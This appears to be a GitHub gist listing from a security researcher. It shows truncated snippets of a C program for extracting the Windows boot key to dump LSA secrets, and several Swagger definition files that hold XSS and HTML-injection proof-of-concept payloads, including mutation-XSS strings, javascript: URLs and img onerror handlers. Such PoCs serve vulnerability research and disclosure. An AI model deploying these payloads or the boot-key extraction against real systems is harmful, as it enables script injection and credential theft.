Joel Chang joelczk

joelczk / extract_boot_key.c

Created July 10, 2024 09:51

C Code to extract boot key by printing out LSA hives (https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/)

	#include <windows.h>
	#include <stdio.h>
	#define BOOT_KEY_SIZE 16
	#pragma warning(disable: 4996)

	void hexStringToByteArray(const char* hexString, BYTE* byteArray) {
	size_t len = strlen(hexString);
	for (size_t i = 0; i < len / 2; ++i) {
	sscanf(hexString + 2 * i, "%2hhx", &byteArray[i]);
	}

joelczk / exploit.yaml

Created May 8, 2024 01:54

	swagger: '2.0'
	info:
	version: "0.0.1"
	title: DOM XSS PoC
	description: <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(/swagger-rxss/) src=1>"></form>
	paths:
	/:
	get:
	responses:
	200:

joelczk / test.yaml

Created March 18, 2023 13:04

	swagger: '2.0'
	info:
	version: "0.0.1"
	title: DOM XSS PoC
	description: <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>"></form>
	paths:
	/:
	get:
	responses:
	200:

joelczk / test.yaml

Created March 15, 2023 17:32

	swagger: '2.0'
	info:
	title: HTML INJECTION
	description: '<div>HTML INJECTION</div>'
	paths:
	/accounts:
	get:
	responses:
	'200':
	description: No response was specified

joelczk / auth.yaml

Created March 15, 2023 17:17

	wagger: '2.0'
	securityDefinitions:
	a:
	type: oauth2
	authorizationUrl: http://authorization.site
	info:
	version: "0.0.1"
	title: Swagger POC
	description: Please Authorize!<video src=//authorization.site>
	paths:

joelczk / swagger.json

Last active May 8, 2024 01:55

	{
	"url": "https://gist.githubusercontent.com/joelczk/39c0d720c566508d90a0995664ed056b/raw/b811cd57ee8786ee25320f28b247dfa18080d4ca/exploit.yaml",
	"urls": [
	{
	"url": "https://gist.githubusercontent.com/joelczk/39c0d720c566508d90a0995664ed056b/raw/b811cd57ee8786ee25320f28b247dfa18080d4ca/exploit.yaml",
	"name": "Foo"
	}
	]
	}

joelczk / swagger.yaml

Created December 29, 2021 02:55

	swagger: '2.0'
	securityDefinitions:
	a:
	type: oauth2
	authorizationUrl: javascript:alert(document.domain)//
	info:
	version: "0.0.1"
	title: Swagger XSS
	description: <img src=x onerror=alert(1)>
	termsOfService: "javascript:alert(document.cookie)"